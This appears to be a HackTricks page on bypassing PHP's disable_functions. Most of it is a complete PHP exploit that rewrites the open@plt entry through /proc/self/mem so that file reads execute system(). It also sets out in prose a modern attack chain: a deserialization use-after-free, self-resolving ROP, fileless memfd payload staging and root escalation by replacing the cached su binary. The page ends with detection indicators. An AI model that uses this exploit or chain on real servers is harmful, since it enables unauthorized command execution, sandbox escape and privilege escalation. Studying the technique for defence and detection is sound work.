// HackTricks · Network Services

disablefunctions Bypass via /proc/self/mem

disable_functions Bypass via /proc/self/mem

This historical x86-64 Linux technique parses the PHP executable and its loaded libc, finds the open relocation, and rewrites that process-memory slot with the address of system. A later call such as readfile('/usr/bin/id') then reaches system('/usr/bin/id') instead of open. The original exploit and its assumptions are preserved below.[1]

The technique is highly build-dependent. It expects Linux 2.6.39 or later (the upstream README’s 2.98 is a typo), a writable /proc/self/mem, readable /proc/self/maps, an x86-64 ELF layout compatible with this parser, a suitable non-PIE/relocation address, compatible libc symbol names, and no effective open_basedir restriction on the required paths. PHP-CGI/PHP-FPM was the intended target; modern kernels, distributions, hardening, PIE/full RELRO, containers, SELinux/AppArmor, or a different SAPI can break it.[1][2]

<?php
/*
1. Linux kernel >= 2.6.39 (the original README says 2.98)
2. PHP-CGI or PHP-FPM; the original author notes that modern mod_php setups
   may not retain the required /proc/self/mem access
3. Written for x86-64; offsets and ELF parsing need changes for 32-bit
4. open_basedir=Off, or access to the required /lib and /proc paths
*/
/*
$libc_ver:
beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386                    /lib/x86_64-linux-gnu/libc-2.19.so
$open_php:
beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT  open
$system_offset and $open_offset:
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
  1337: 0000000000046530    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  1679: 00000000000ec150    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5
*/
function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}
function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));
    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }
    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
if(strpos(php_uname('a'), 'x86_64') === false) {
    echo "[-] This exploit is for x64 Linux. Exiting\n";
    exit;
}
if(version_compare(preg_replace('/-.*/', '', php_uname('r')), '2.6.39', '<')) {
    echo "[-] Kernel predates 2.6.39. This technique will not work\n";
}
echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";
echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}
echo "[+] Got them. Seeking for address in memory\n";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $open_php);
if(fwrite($mem, packlli($system_addr))) {
    echo "[+] Address written. Executing cmd\n";
    readfile('/usr/bin/id');
    exit;
}
echo "[-] Write failed. Exiting\n";

Modern variant: engine-memory bug to native code

A stronger pattern is to first turn constrained PHP execution into an arbitrary-read primitive inside the PHP process itself. In the wp2root chain this is done with a legacy Serializable recursion UAF: inner and outer unserialize() operations share one reference table, a property-table resize frees buckets still referenced by the outer parser, and sprayed strings turn those stale references into attacker-controlled fake zval data. Reinterpreting the forged zval as a string yields arbitrary process-memory reads. For application-level gadget chains, see PHP - Deserialization + Autoload Classes.[3][4]

Once arbitrary read exists, disable_functions stops being a boundary: the PHP-visible system() name may be gone, but the native handler is still resident in the worker and can be recovered from live memory and called directly. This is useful after any bug that grants PHP code execution, not only WordPress.[3][4]

Self-resolving ROP from live PHP

Instead of relying on fixed offsets, leak any code pointer inside the loaded PHP image, walk backwards to the ELF base, parse the in-memory image, and resolve gadgets/functions dynamically. In the published chain, fake HashTable or array-destruction metadata is used as the control-transfer point: when PHP frees the forged array, cleanup pivots the stack to attacker data, runs a ROP chain, marks a payload buffer executable, and jumps into a PIC launcher. This adapts to ASLR and differing PHP builds. For generic ROP mechanics, see ROP & JOP.[3][4]

Fileless helper handoff

A practical post-exploitation follow-on is to keep the native payload fileless: memfd_create("php-helper", 0) -> dup2(fd, 197) -> write helper ELF -> execveat(197, "", argv, NULL, AT_EMPTY_PATH). Leaving the memfd without close-on-exec preserves fd 197 across later execve transitions, so both the unprivileged launcher and any later privileged stub can re-enter the same in-memory helper without writing an executable to disk.[3][4]

Root follow-on and hunting

After native execution, any local privilege escalation can be chained in. One public path keeps the helper in the memfd and uses Copy Fail to replace the page-cached image of /usr/bin/su; executing su then runs attacker code as root while the on-disk binary remains unchanged. Useful detection points are web/PHP workers opening /proc/self/mem, memfd_create, dup2 pinning a high FD such as 197, execveat(..., AT_EMPTY_PATH), and unexpected execution of setuid binaries from a web worker context.[3][4]

References